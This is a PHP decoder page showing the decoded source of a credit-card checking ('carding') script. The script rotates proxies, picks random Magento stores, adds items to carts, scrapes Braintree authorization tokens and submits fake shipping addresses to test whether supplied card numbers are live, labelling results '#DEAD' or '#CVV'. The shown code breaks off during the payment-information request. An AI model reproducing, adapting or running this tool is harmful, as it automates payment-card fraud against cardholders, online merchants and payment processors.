Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php require '../xset.php'; //date_default_timezone_set('Asia/Singapore'); date_de..
Decoded Output download
<?php
require '../xset.php';
//date_default_timezone_set('Asia/Singapore');
date_default_timezone_set('America/New_York');
error_reporting(1);
set_time_limit(340);
ini_set('display_errors', 0);
ini_set('max_execution_time', 300);
if (!empty($proxy)) {
$proxy_stats = 'on';
$file = file('lives/proxy.txt');
[$proxy, $pw] = [implode(':', array_slice(explode(':', $proxy), 0, 2)), implode(':', array_slice(explode(':', $proxy), 2))];
if (!in_array("$proxy:$pw
", $file, true)) {
file_put_contents('lives/proxy.txt', "$proxy:$pw
", FILE_APPEND);
}
} else {
$proxy_stats = 'x';
}
// $proxy_stats = 'off';
// $proxy = 'IP:PORT';
// $pw = 'USER:PASSWORD';
if (empty($card) || !is_numeric($cc) || strlen($cc) < 15) {
echo "#DEAD ";
if (empty($card)) {
echo "CARD IS EMPTY";
} elseif (!is_numeric($cc) || strlen($cc) < 15) {
echo "$card CARD ERROR";
}
die;
}
if (empty($sites)) {
exit("#DEAD SITE is empty");
}
// if (strpos(file_get_contents("lives/lives.txt"), $card) !== false) {
// exit("#CVV $card");
// }
### === [ ADDRESS ] [AU, BR, CA, CH, DE, DK, ES, FI, FR, GB, IE, IN, IR, MX, NL, NO, NZ, RS, TR, UA, US]
// $country = 'us';
// getAddress($country);
// ### [OR]
// $get = file_get_contents('https://randomuser.me/api/1.2/?nat='.$country.'');
// preg_match_all('("first":"(.*)")siU', $get, $matches1);
// $fname = $matches1[1][0];
// preg_match_all('("last":"(.*)")siU', $get, $matches1);
// $lname = $matches1[1][0];
// preg_match_all('("email":"(.*)")siU', $get, $matches1);
// $email = $matches1[1][0];
// $email = str_replace('example', 'gmail', $email);
// $email_encode = urlencode($email);
// preg_match_all('("street":"(.*)")siU', $get, $matches1);
// $street = $matches1[1][0];
// $street_encode = urlencode($street);
// preg_match_all('("city":"(.*)")siU', $get, $matches1);
// $city = $matches1[1][0];
// $city_encode = urlencode($city);
// preg_match_all('("state":"(.*)")siU', $get, $matches1);
// $region = $matches1[1][0];
// $region_encode = urlencode($region);
// preg_match_all('("phone":"(.*)")siU', $get, $matches1);
// $phone = $matches1[1][0];
// $phone_number = str_replace('-', '', $phone);
// $phone_numberx = str_replace('+', '', $phone_number);
// preg_match_all('("postcode":(.*),")siU', $get, $matches1);
// $postcode = $matches1[1][0];
// $postcode = str_replace('"', '', $postcode);
// $postcode_encode = urlencode($postcode);
// $region_code = region_code($region);
$START = 0;
START:
if ($START > 3) {
echo "#DEAD $card R1 | RETRIED FOR 3 TIMES $ip $siteNumber";
return;
}
$sitesArray = explode(",", $sites);
$sitesArray = array_filter($sitesArray);
foreach ($sitesArray as $url) {
$site[] = $url;
}
$randomIndex = array_rand($sitesArray);
$site = $site[$randomIndex];
$siteNumber = "SITE" . ($randomIndex + 1);
$domain1 = parse_url($site, PHP_URL_HOST);
$domain = 'https://' . parse_url($site, PHP_URL_HOST);
$tld = end(explode('.', $domain1));
if ($tld) {
$country = $tld;
} else {
$country = 'us';
}
if ($tld == 'com') {
$country = 'us';
} elseif ($tld == 'net') {
$country = 'us';
} elseif ($tld == 'org') {
$country = 'us';
}
###
// $max_retry = 3;
// $retry_count = 0;
// $options = [
// 'http' => [
// 'method' => "GET",
// 'header' => [
// "User-Agent: '.$ua.'",
// "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
// "Accept-Language: en-US,en;q=0.5",
// ]
// ]
// ];
// $context = stream_context_create($options);
// do {
// $response = @file_get_contents($site, false, $context);
// if ($response === false && !isset($http_response_header)) {
// $retry_count++;
// if ($retry_count >= $max_retry) {
// exit("$card FAILED TO GET SITE <a href=\"$domain\" target=\"_blank\">$siteNumber</a>");
// }
// sleep(1);
// } else {
// break;
// }
// } while (true);
###
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $site);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
$headers = array();
$headers[] = 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7';
$headers[] = 'accept-language: en-US,en;q=0.9';
$headers[] = 'sec-ch-ua-mobile: ?0';
$headers[] = 'sec-fetch-dest: document';
$headers[] = 'sec-fetch-mode: navigate';
$headers[] = 'sec-fetch-site: none';
$headers[] = 'sec-fetch-user: ?1';
$headers[] = 'upgrade-insecure-requests: 1';
$headers[] = 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"';
$headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0));
$response = curl_exec($ch);
$response = gzdecode($response);
curl_close($ch);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
###
$currency = g($response, '"currencyCode":"', '"');
if (!$currency) {
$currency = g($response, '"currency_code":"', '"');
}
if (!$currency) {
$currency = 'USD';
}
$pattern_div = '/<div class="product-add-form">(.*?)<\/div>/s';
preg_match($pattern_div, $response, $matches_div);
$inner_content = $matches_div[1] ?? '';
$product_sku = preg_match('/data-product-sku="([^"]+)"/', $inner_content, $matches) ? $matches[1] : '';
$checkout_url = preg_match('/action="([^"]+)"/', $inner_content, $matches) ? $matches[1] : '';
$product_id = preg_match('/<input type="hidden" name="product" value="([^"]+)"/', $inner_content, $matches) ? $matches[1] : '';
$form_key = preg_match('/<input name="form_key" type="hidden" value="([^"]+)"/', $inner_content, $matches) ? $matches[1] : '';
if (!$product_sku) {
$product_sku = g($response, 'data-product-sku="','"');
$checkout_url = g($response, 'data-product-sku="'.$product_sku.'" action="','"');
$product_id = g($response, 'name="product" value="','"');
$form_key = g($response, '"form_key" type="hidden" value="','"');
}
###
$attri = g($response, '{"attributes":{"','"');
$attrival = g($response, '"'.$attri.'":"','"');
$variations = '&super_attribute['.$attri.']='.$attrival.'';
fwrite(fopen("logs/logs.txt", "w"), " $card $statuscode
SKU:$product_sku checkout_url:$checkout_url product_id:$product_id $form_key currency:$currency
");
# =========== [ ATC ]
$max_retry = 5;
$retry_count = 0;
do {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $checkout_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = 'product='.$product_id.'&selected_configurable_option=&category_name=&related_product=&item='.$product_id.'&form_key='.$form_key.'&qty=1'.$variations.'';
$headers = array();
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'DNT: 1';
$headers[array_search('Cookie:', $headers) !== false ? array_search('Cookie:', $headers) + 1 : count($headers)] = 'Cookie: PHPSESSID=' . $uid . '; form_key=' . $form_key;
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "#DEAD $card ATC MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
break;
}
curl_close($ch);
} while (true);
fwrite(fopen("logs/logs.txt", "a"), "ATC $card $statuscode
$curl
");
$ccheckout = g($checkout_url, $domain . '/', '/cart/');
$checkout = $domain . '/'.$ccheckout.'/checkout/';
$cart = $domain . '/'.$ccheckout.'/cart/';
# =========== [ CHECKOUT ]
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, $cart);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[array_search('Cookie:', $headers) !== false ? array_search('Cookie:', $headers) + 1 : count($headers)] = 'Cookie: PHPSESSID=' . $sessionId . '; form_key=' . $form_key;
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card CHECKOUT MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
break;
}
curl_close($ch);
} while (true);
$pos_default = strpos($curl, '"is_default":true');
$pos_value = ($pos_default !== false) ? strrpos(substr($curl, 0, $pos_default), '"value":"') : false;
$country = ($pos_value !== false) ? strtolower(substr($curl, $pos_value + strlen('"value":"'), strpos($curl, '"', $pos_value + strlen('"value":"')) - ($pos_value + strlen('"value":"')))) : false;
$cart_id = g($curl, '"entity_id":"','"');
preg_match('/"ey.{997,}"/', $curl, $matches);
if (isset($matches[0])) {
$getbearer = base64_decode(trim($matches[0], '"'));}
$bearer = g($getbearer, '"authorizationFingerprint":"', '"');
$merchant_id = g($getbearer, '"merchantId":"', '"');
if (strpos($curl, 'in your region')) {
$START++;
goto START;
}
if (!$bearer) {
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, $checkout);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[array_search('Cookie:', $headers) !== false ? array_search('Cookie:', $headers) + 1 : count($headers)] = 'Cookie: PHPSESSID=' . $sessionId . '; form_key=' . $form_key;
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card CART MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
break;
}
curl_close($ch);
} while (true);
$pos_default = strpos($curl, '"is_default":true');
$pos_value = ($pos_default !== false) ? strrpos(substr($curl, 0, $pos_default), '"value":"') : false;
$country = ($pos_value !== false) ? strtolower(substr($curl, $pos_value + strlen('"value":"'), strpos($curl, '"', $pos_value + strlen('"value":"')) - ($pos_value + strlen('"value":"')))) : false;
$cart_id = g($curl, '"entity_id":"','"');
preg_match('/"ey.{997,}"/', $curl, $matches);
if (isset($matches[0])) {
$getbearer = base64_decode(trim($matches[0], '"'));}
$bearer = g($getbearer, '"authorizationFingerprint":"', '"');
$merchant_id = g($getbearer, '"merchantId":"', '"');
if (strpos($curl, 'in your region')) {
$START++;
goto START;
}
}
# =========== [ CHECKOUT ]
// $max_retry = 5;
// $retry_count = 0;
// do {
// curl_setopt($ch, CURLOPT_URL, $checkout);
// curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
// $headers = array();
// $headers[] = 'User-Agent: '.$ua.'';
// $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8';
// $headers[] = 'Accept-Language: en-US,en;q=0.5';
// $headers[array_search('Cookie:', $headers) !== false ? array_search('Cookie:', $headers) + 1 : count($headers)] = 'Cookie: PHPSESSID=' . $sessionId . '; form_key=' . $form_key;
// // $headers[] = 'Accept-Encoding: gzip';
// curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
// curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0));
// $curl = curl_exec($ch);
// // $curl = gzdecode($curl);
// $statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// $total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
// if ($statuscode == 0) {
// $retry_count++;
// if ($retry_count >= $max_retry) {
// echo "$card CHECKOUT2 MAXIMUM RETRY | REQUEST FAILED";
// goto END;
// }
// sleep(1);
// } else {
// break;
// }
// curl_close($ch);
// } while (true);
// $pos_default = strpos($curl, '"is_default":true');
// $pos_value = ($pos_default !== false) ? strrpos(substr($curl, 0, $pos_default), '"value":"') : false;
// $country = ($pos_value !== false) ? strtolower(substr($curl, $pos_value + strlen('"value":"'), strpos($curl, '"', $pos_value + strlen('"value":"')) - ($pos_value + strlen('"value":"')))) : false;
// $cart_id = g($curl, '"entity_id":"','"');
// preg_match('/"ey.{997,}"/', $curl, $matches);
// if (isset($matches[0])) {
// $getbearer = base64_decode(trim($matches[0], '"'));}
// $bearer = g($getbearer, '"authorizationFingerprint":"', '"');
// $merchant_id = g($getbearer, '"merchantId":"', '"');
// if (strpos($curl, 'in your region')) {
// $START++;
// goto START;
// }
// if (!$bearer) {
// echo "#DEAD $card BRAINTREE AUTHORIZATION NOT FOUND <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
// goto END;
// }
fwrite(fopen("logs/logs.txt", "a"), "CHECKOUT $card $statuscode
$cart_id $country
BEARER: $bearer - $merchant_id
");
# =========== [ ADDRESS ]
$currency_to_country = [
'EUR' => 'uk', // European Union countries, not just the UK
'IDR' => 'id', // Indonesia
'GBP' => 'uk', // United Kingdom
'AUD' => 'au', // Australia
'CAD' => 'ca', // Canada
'JPY' => 'jp', // Japan
'CHF' => 'ch', // Switzerland
'CNY' => 'cn', // China
'INR' => 'in', // India
'BRL' => 'br', // Brazil
'ZAR' => 'za', // South Africa
'MXN' => 'mx', // Mexico
'RUB' => 'ru', // Russia
'KRW' => 'kr', // South Korea
'SGD' => 'sg', // Singapore
'HKD' => 'hk', // Hong Kong
'NZD' => 'nz', // New Zealand
'USD' => 'us', // United States
'PLN' => 'pl', // Poland
'SEK' => 'se', // Sweden
'NOK' => 'no', // Norway
'DKK' => 'dk', // Denmark
'MYR' => 'my', // Malaysia
'THB' => 'th', // Thailand
'PHP' => 'ph', // Philippines
'TWD' => 'tw', // Taiwan
'SAR' => 'sa', // Saudi Arabia
'AED' => 'ae', // United Arab Emirates
'EGP' => 'eg', // Egypt
'TRY' => 'tr', // Turkey
'ILS' => 'il', // Israel
'CLP' => 'cl', // Chile
'COP' => 'co', // Colombia
'PEN' => 'pe', // Peru
'ARS' => 'ar', // Argentina
'VND' => 'vn', // Vietnam
'NGN' => 'ng', // Nigeria
'KES' => 'ke', // Kenya
'GHS' => 'gh', // Ghana
'MAD' => 'ma', // Morocco
'UAH' => 'ua', // Ukraine
'BDT' => 'bd', // Bangladesh
'PKR' => 'pk', // Pakistan
];
if (isset($currency_to_country[$currency])) {
$country = $currency_to_country[$currency];
}
$country_abbreviations = ["af", "al", "dz", "ad", "ao", "ar", "am", "au", "at", "az",
"bs", "bh", "bd", "bb", "by", "be", "bz", "bj", "bt", "bo",
"ba", "bw", "br", "bn", "bg", "bf", "bi", "kh", "cm", "ca",
"cv", "cf", "td", "cl", "cn", "co", "km", "cg", "cr", "hr",
"cu", "cy", "cz", "dk", "dj", "dm", "do", "tl", "ec", "eg",
"sv", "gq", "er", "ee", "sz", "et", "fj", "fi", "fr", "ga",
"gm", "ge", "de", "gh", "gr", "gd", "gt", "gn", "gw", "gy",
"ht", "hn", "hu", "is", "in", "id", "ir", "iq", "ie", "il",
"it", "ci", "jm", "jp", "jo", "kz", "ke", "ki", "xk", "kw",
"kg", "la", "lv", "lb", "ls", "lr", "ly", "li", "lt", "lu",
"mg", "mw", "my", "mv", "ml", "mt", "mh", "mr", "mu", "mx",
"fm", "md", "mc", "mn", "me", "ma", "mz", "mm", "na", "nr",
"np", "nl", "nz", "ni", "ne", "ng", "kp", "mk", "no", "om",
"pk", "pw", "pa", "pg", "py", "pe", "ph", "pl", "pt", "qa",
"ro", "ru", "rw", "kn", "lc", "vc", "ws", "sm", "st", "sa",
"sn", "rs", "sc", "sl", "sg", "sk", "si", "sb", "so", "za",
"kr", "ss", "es", "lk", "sd", "sr", "se", "ch", "sy", "tw",
"tj", "tz", "th", "tg", "to", "tt", "tn", "tr", "tm", "tv",
"ug", "ua", "ae", "gb", "us", "uk", "uy", "uz", "vu", "va", "ve",
"vn", "ye", "zm", "zw"];
$country = in_array($country, $country_abbreviations) ? $country : 'us';
// fwrite(fopen("logs/logs.txt", "a"), " $card $statuscode $total_bandwidth
$pk $response
");
fwrite(fopen("logs/logs.txt", "a"), "$country $card product_id:$product_id product_sku:$product_sku product_name:$product_name product_price:$product_price
");
address: ### === [ ADDRESS ] [AU, BR, CA, CH, DE, DK, ES, FI, FR, GB, IE, IN, IR, MX, NL, NO, NZ, RS, TR, UA, US]
$countries = ['us', 'au', 'ca', 'ph', 'id'];
if (in_array($country, $countries)) {
getAddress($country);
} else {
getAddress1($country);
}
if ($country == 'uk') {
$country = 'gb';
$region = $city;
}
// $ustate = ucwords($region);
$pattern = '/{[^{}]*"title":"' . preg_quote($ustate) . '"[^{}]*}/';
preg_match($pattern, $curl, $matches);
$stateInfo = json_decode($matches[0], true);
$regionID = $stateInfo['value'];
$country = strtoupper($country);
# =========== [ SHIPPING ]
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, $domain . '/rest/V1/guest-carts/'.$cart_id.'/estimate-shipping-methods');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"address":{"street":["'.$street.'"],"city":"'.$city.'","region":"'.$state.'","country_id":"'.$country.'","postcode":"'.$postcode.'","firstname":"'.$fname.'","lastname":"'.$lname.'","middlename":"","company":"","telephone":"'.$phone.'"}}';
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-origin';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
$headers[] = 'TE: trailers';
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
break;
}
curl_close($ch);
} while (true);
fwrite(fopen("logs/logs.txt", "a"), "estimate-shipping-methods $card $statuscode $total_bandwidth
$curl
");
$msg = g($curl, '"message":"','"');
if (strpos($curl, 'entity')) {
exit("#DEAD $card $msg <a href=\"$domain\" target=\"_blank\">$siteNumber</a>");
}
$decoded_data = json_decode($curl, true);
if ($decoded_data === null || empty($decoded_data)) {
echo "#DEAD $card Error in shipping <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
exit;
}
function has_pickup_or_freeshipping($code) {
return stripos($code, 'pickup') !== false || stripos($code, 'freeshipping') !== false;
}
$amounts = array_column($decoded_data, 'amount');
$lowest_amount = min($amounts);
$indices_of_lowest = array_keys($amounts, $lowest_amount);
$index_of_lowest = null;
foreach ($indices_of_lowest as $index) {
if (!has_pickup_or_freeshipping($decoded_data[$index]['carrier_code'])) {
$index_of_lowest = $index;
break;
}
}
if ($index_of_lowest === null) {
$unique_amounts = array_unique($amounts);
sort($unique_amounts);
$next_lowest = $unique_amounts[1];
$index_of_lowest = array_search($next_lowest, $amounts);
}
$carrier_code = $decoded_data[$index_of_lowest]['carrier_code'];
$method_code = $decoded_data[$index_of_lowest]['method_code'];
# =========== [ SHIPPING 2 ]
SHIPPING:
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, $domain . '/rest/V1/guest-carts/'.$cart_id.'/shipping-information');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"addressInformation":{"shipping_address":{"countryId":"'.$country.'","regionId":"'.$regionID.'","regionCode":"'.$region_code.'","region":"'.$region.'","street":["'.$street.'"],"company":"","telephone":"'.$phone.'","postcode":"'.$postcode.'","city":"'.$city.'","firstname":"'.$fname.'","lastname":"'.$lname.'"},"billing_address":{"countryId":"'.$country.'","regionId":"'.$regionID.'","regionCode":"'.$region_code.'","region":"'.$region.'","street":["'.$street.'"],"company":"","telephone":"'.$phone.'","postcode":"'.$postcode.'","city":"'.$city.'","firstname":"'.$fname.'","lastname":"'.$lname.'","saveInAddressBook":null},"shipping_method_code":"'.$method_code.'","shipping_carrier_code":"'.$carrier_code.'","extension_attributes":{}}}';
if ($regionID === null || empty($regionID)) {
$postfield = '{"addressInformation":{"shipping_address":{"countryId":"'.$country.'","regionCode":"'.$region_code.'","region":"'.$region.'","street":["'.$street.'"],"company":"","telephone":"'.$phone.'","postcode":"'.$postcode.'","city":"'.$city.'","firstname":"'.$fname.'","lastname":"'.$lname.'"},"billing_address":{"countryId":"'.$country.'","regionCode":"'.$region_code.'","region":"'.$region.'","street":["'.$street.'"],"company":"","telephone":"'.$phone.'","postcode":"'.$postcode.'","city":"'.$city.'","firstname":"'.$fname.'","lastname":"'.$lname.'","saveInAddressBook":null},"shipping_method_code":"'.$method_code.'","shipping_carrier_code":"'.$carrier_code.'","extension_attributes":{}}}';
}
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-origin';
$headers[] = 'Priority: u=1';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
fwrite(fopen("logs/logs.txt", "a"), " $card $statuscode $total_bandwidth
-$postfield
=$curl
");
break;
}
curl_close($ch);
} while (true);
if (strpos($curl, 'Error occurred during')) {
}
$amt = g($curl, '"base_grand_total":',',"');
# =========== [ TOTALS ]
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, $domain . '/rest/V1/guest-carts/'.$cart_id.'/totals-information');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"addressInformation":{"address":{"countryId":"'.$country.'","region":"'.$state.'","postcode":"'.$postcode.'"},"shipping_method_code":"'.$method_code.'","shipping_carrier_code":"'.$carrier_code.'"}}';
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-origin';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
$headers[] = 'TE: trailers';
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
fwrite(fopen("logs/logs.txt", "a"), " $card $statuscode $total_bandwidth
-POSTFIELD:$postfield
=$curl
");
break;
}
curl_close($ch);
} while (true);
if (!$amt) {
$amt = g($curl, '"base_grand_total":',',"');
}
# =========== [ SET PAYMENT INFO ]
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, $domain . '/rest/V1/guest-carts/'.$cart_id.'/set-payment-information');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"cartId":"'.$cart_id.'","paymentMethod":{"method":"braintree"},"email":"'.$email.'"}';
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-origin';
$headers[] = 'Priority: u=1';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
$headers[] = 'TE: trailers';
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
